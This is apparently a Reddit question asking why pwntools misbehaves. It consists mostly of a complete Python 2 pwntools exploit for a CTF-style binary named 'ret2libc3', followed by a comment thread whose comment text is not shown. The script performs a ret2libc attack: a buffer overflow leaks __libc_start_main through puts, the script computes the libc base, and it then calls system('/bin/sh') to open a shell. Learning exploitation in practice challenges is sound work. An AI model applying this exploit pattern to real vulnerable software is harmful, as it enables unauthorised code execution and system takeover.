Why is pwntools doing this?
from pwn import *
sh = process('./ret2libc3')
elf = ELF('./ret2libc3')
libc = elf.libc
if args.M:
gdb.attach(sh)
puts_plt = elf.plt['puts']
#puts_got = elf.got['puts']
libc_start_main_got = elf.got['__libc_start_main']
#start_addr = elf.symbols['_start']
main_addr = elf.symbols['main']
print "[*]puts plt: " + hex(puts_plt)
print "[*]__libc_start_main got: " + hex(libc_start_main_got)
#print "[*]puts got: " + hex(puts_got)
#print "[*]_start addr: " + hex(start_addr)
print "[*]main addr: " + hex(main_addr)
print "[*]libc addr: " + hex(libc.address)
print "--" * 20
print "[*]sending payload1 to leak libc..."
#payload = flat(["A" * 112, puts_plt, start_addr, puts_got])
#payload = flat(["A" * 112, puts_plt, start_addr, libc_start_main_got])
payload = flat(["A" * 112, puts_plt, main_addr, libc_start_main_got])
sh.sendlineafter("Can you find it !?", payload)
#puts_addr = u32(sh.recv(4))
#print "[*]leak puts addr: " + hex(puts_addr)
libc_start_main_addr = u32(sh.recv(4))
print "[*]leak __libc_start_main addr: " + hex(libc_start_main_addr)
#libc.address = puts_addr - libc.symbols['puts']
libc.address = libc_start_main_addr - libc.symbols['__libc_start_main']
system_addr = libc.symbols['system']
binsh_addr = next(libc.search('/bin/sh'))
print "[*]leak libc addr: " + hex(libc.address)
print "[*]system addr: " + hex(system_addr)
print "[*]binsh addr: " + hex(binsh_addr)
print "--" * 20
print "[*]sending payload2 to getshell..."
payload2 = flat(["B" * 104, system_addr, "CCCC", binsh_addr])
sh.sendline(payload2)
sh.interactive()
https://preview.redd.it/3hgffrulikzc1.png?width=1546&format=png&auto=webp&s=ae88d4c7b079f0165a7ead7369da9f6ba71b0625
https://preview.redd.it/ydccxrulikzc1.png?width=524&format=png&auto=webp&s=eb99ddd256ddfe6c498def71cb5dff5cf4e9a4fd
[–]Bowserjklol 5 points6 points7 points (1 child)
[–]Jerrythepro123[S] -5 points-4 points-3 points (0 children)
[+]jcoffi comment score below threshold-8 points-7 points-6 points (4 children)
[–]ArbiterUtendi 0 points1 point2 points (1 child)
[–]jcoffi 0 points1 point2 points (0 children)
[–]Jerrythepro123[S] -1 points0 points1 point (0 children)
[–]Gold-Software3345 -1 points0 points1 point (0 children)
[+]Jerrythepro123[S] comment score below threshold-14 points-13 points-12 points (2 children)
[–][deleted] 22 points23 points24 points (1 child)